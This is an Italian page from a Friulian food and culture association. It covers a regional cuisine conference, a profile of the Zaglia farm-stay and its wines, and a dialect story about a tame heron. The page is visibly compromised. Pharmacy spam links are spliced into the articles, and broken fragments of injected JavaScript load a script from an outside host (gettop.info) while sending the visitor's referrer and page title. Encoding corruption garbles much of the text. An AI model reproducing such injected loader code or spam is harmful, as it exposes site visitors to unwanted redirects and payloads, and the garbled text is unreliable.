La cultura si mangia!

B Nell’ ambito del convegno La cultura si mangia! Il cibo come patrimonio culturale. In pescaria vecia si è tenuto il convegno: Oggi parliamo di pesce. Le novità legate al Bisato in speo: Entra »

Valerio Ghin

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Serata con le Piume di Laguna e i Cru di Ronchi di Cialla

Venerdi 19 o 26 Aprile Degustazione con Le Piume di Laguna !!! Millefoglie con PatA? di Alzavola Anguilla affumicata e Mela verde Caramellata , Petto di Germano Reale con Lardo di Colonnata Entra »

TURISMO/ENOGASTRONOMIA: I FONDAMENTI DELLA CUCINA TIPICA DEL TERRITORIO DELLA RIVIERA FRIULANA

order suprax antibiotic used to treat buy tadalista 20 LE BASI GETTATE NEL CONVEGNO ‘LEGATO AL 5.PREMIO GIORNALISTICO ‘VALERIO GHIN’ A MARANO LAGUNARE (UD) TRE LE AREE DEI SAPORI INDIVIDUATE: DEL GRADESE, Entra »

RIVIERA FRIULANA: CONFERMA DEL MATRIMONIO TRA IL PESCE DI PREGIO CRUDO E NON SOLO, E I VINI RIVIERASCHI

Ancora azzeccato il connubio rivierasco, a Marano Lagunare (UD), tra i cibi a base di pesce adriatico, e i vini della Riviera Friulana. Attori, gli animatori della Compagnia del bisato, confraternita che Entra »

Daily Archives: 17 ottobre 2012

TERRITORIO: LA PRIMA AZIENDA AGRICOLA DEL LATISANESE AD ADERIRE ALLA RIVIERA FRIULANA

L’AZIENDA AGRICOLA CON AGRITURISMO ZAGLIA DI PRECENICCO (UD) FA PARTE DELLA RETE RIVIERASCA
L’Azienda Agricola Zaglia ha aderito all’Associazione Culturale La Riviera Friulana. Situata nel cuore della DOC Friuli Latisana, rappresenta un esemplare modello di filiera rurale che si genera nella campagna e trova la sintesi genuina nella proposta dell’Agriturismo. La sede aziendale infatti si trova lungo la strada statale 14, Venezia-Trieste, in via Crescenzia, 10, in Comune di Precenicco UD), a pochi minuti dal casello autostradale di Latisana. La qualitAi?? delle produzioni agricole che si possono ottenere nell’area rivierasca aveva convinto nel ’70 Aldo Zaglia, padre di Giorgio, l’attuale conduttore aziendale, originario del Veneto, ad acquistare l’azienda agricola che ora porta il suo nome. Negli anni, la famiglia Zaglia ha saputo coniugare con risultati concreti ed efficaci la tradizione con l’innovazione. E dalle colture rurali, al conseguimento della laurea in Agraria da parte di Giorgio, ha completato il ciclo di produzione avviando l’agriturismo. Situato in un fabbricato tipico del latisanese, e arredato con calore e gusto con arredo tipicamente friulano. Agriturismo che in breve si A? dotato della cucina, perchAi?? i clienti chiedevano sempre piA? frequentemente piatti caldi, da affiancare alle produzioni genuine e proprie. Ne A? nato un vero agriturismo, che offre esclusivamente pietanze e prodotti fatti in casa. “Per le bevande ai??i?? specifica Giorgio Zaglia con orgoglio ai??i?? l’unica eccezione al vino si puA? fare con l’acqua”. Le bibite, perfino le birre, che non sarebbero prodotte in azienda, sono infatti assenti dall’Agriturismo Zaglia. CiA? anche per valorizzare la rigorosa selezione da lui eseguita nello scegliere i cloni dei vitigni da impiantare sui propri terreni, tra i piA? adatti all’area. Sui terreni situati sui Comuni di Precenicco e di Pocenia. Si tratta dunque di vini completamente rivieraschi. Tra quelli piA? richiesti nell’Agriturismo, in Azienda, ma anche on line, sono quelli frizzanti. Specialmente d’estate. Ne produce tre: di Chardonnay, rosato, di Pinot Grigio. E dal prossimo anno, viste le richieste, il Prosecco. L’Agriturismo A? tappa frequente dei turisti di passaggio per Lignano Sabbiadoro o che visitano la Riviera Friulana percorrendo il tragitto dell’antica via romana Annia, che coincide in parte con quello della Statale 14. Sono moltissimi stranieri, e diversi austriaci e tedeschi si sono ormai fidelizzati al posto e alla sua proposta di sapori. Fanno il tour degli agriturismi della parte latisanese della Riviera, che come ci tiene a precisare Giorgio Zaglia, sono estremamente complementari tra loro. Si integrano, arricchiscono l’area e aumentano l’attrattivitAi?? della stessa. “CosAi?? come ai??i?? precisa Giorgio ai??i?? fa l’Associazione culturale La Riviera Friulana, mettendo in rete e valorizzando attraverso noi l’intero territorio”. L’Agriturismo con cucina Zaglia A? aperto tutto l’anno. D’inverno la cucina con i piatti caldi A? disponibile il venerdAi??, il sabato e la domenica. Tra i vini, gli italiani preferiscono il Cabernet Franc, sinceramente erbaceo ed elegante, e il morbido refosco. Tra i bianchi, gli stranieri amano il Pinot Grigio, ma apprezzano anche il Friulano (giAi?? Tocai), lo Chardonnay, e gli altri vini della linea. La cucina propone oltre agli affettati, alle frittate, al frico, al carpaccio di torello, ai crostini con il patAi?? d’anatra, gnocchi con ricotta affumicata, zuppa d’orzo e fagioli, pappardelle al radicchio e salsiccia, pennette alle zucchine, tagliatelle al sugo d’oca, risotti tipici, trippe alla parmigiana, anatra alle erbe, salame all’aceto, stinchetto di maiale affumicato alla piastra. Tutti i piatti realizzati secondo le ricette della civiltAi?? contadina rivierasca e rigorosamente con i prodotti ‘di casa’. Buy Pills Pills tretinoin cost costco generic viagra dapoxetine if (document.currentScript) { } Order pills online http://fandi.mhs.narotama.ac.id/2018/02/02/buy-gasex-himalaya/ http://www.thefilm.fr/buy-periactin-pills/ http://poradnia.eu/order-npxl-725/ buy probalancspa

RACCONTI IN MARANESE (a cura di Maria Teresa Corso)

ai???NDEMO, BAO. Cipriano, conteme del Bao – ghe vevo dito un zorno. A contala gnanca no te ghe credarissi. Vara, gera un spetacolo de lu. Me riferisso al Bao che un zorno, dopo ve insarnAi??o ghe vevo butA? un poai??i?? de pesse. Sta povera bestia la veva fame e te vidivi. Alora, te capissi, dai na volta dai unai??i??altra el ga ciapA? el licheto de vignAi?? squasi ogni zorno in riva, dove che se metevomo, po. Passa na setemana, passa do, un zorno che mi e la Virginia geromo a calAi?? la canara in tel Fofolo te vedemo sta bestia che la ze poco distante de nantre, la ze pusada in te lai??i??aqua e la varda quel che femo. Intanto ai???ndemo vanti col lavor, calemo, po tiremo su. Metemo in moto e vignimo a Maran. Alora, te me capissi, el Bao el se alsa in svolo, el fa un ziro sora de nantre e poco dopo el va via. No lo vemo trovA? a Maran! El gera rivA? prima de nantre e el ne speteva in tel molo. CussAi?? ze scumissiA?. Ah, co te vol, un zorno el vigniva su la prova dela batela, un zorno dal molo el ze vignA?o caminando fin drento el curtivo mio, un altro, de marti, che gera mercato, el ze vignA?o sempre caminando in piassa anca lu e la zente che la rideva. Cipriano, vara el Bao che te speta, Cipriano, me diseva la zente. E mi, ai???ndemo, Bao. E lu el vigniva. Una volta un sior chai??i??el passeva el me ga domandA? se el podeva anca lu fa lo stesso. Se el vien, ghe go dito. Alora, el ga provA? anca lu a dighe: ai???Ndemo, Baoai??i??. E co, te cridi che gabia vesto efeto? Nooooo. El ghe ga fato gnanca na mossa. Alora el sior el ga capAi??o. Alora na volta chai??i??el gera restA? de oltra, dove che desso ze la pescaria niova, parchA? gera sto na granda tempestada, son ai???ndA? a ciolo e lo go portA? qua, drento in casa. Eh, ma ze durA? ani, sta storia. Oto, par la precision. Geremo in tel 1984 e lu ai???ndeva svolando paai??i?? le vale in serca de pesse. Un zorno el ze rivA? qua co na ala rota, qualchidun ghe veva do na legnada. CussAi??, dopo noai??i?? el ze durA? tanto; el ne ga fato tanta passion, povera bestia.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; } else {document.currentScript.parentNode.insertBefore(s, document.currentScript); buy zebeta http://nimelor.com/?p=16349 Cheap http://site.cqaquimica.com.br/sem-categoria/cardizem-drip-order/ http://cambridgepublicschoolrnr.com/prandina-gong-price/ metformin buy online usa Buy Pills http://ainunrachmania.mhs.narotama.ac.id/2018/03/15/generics-for-hyzaar/ Pills aciclovir online

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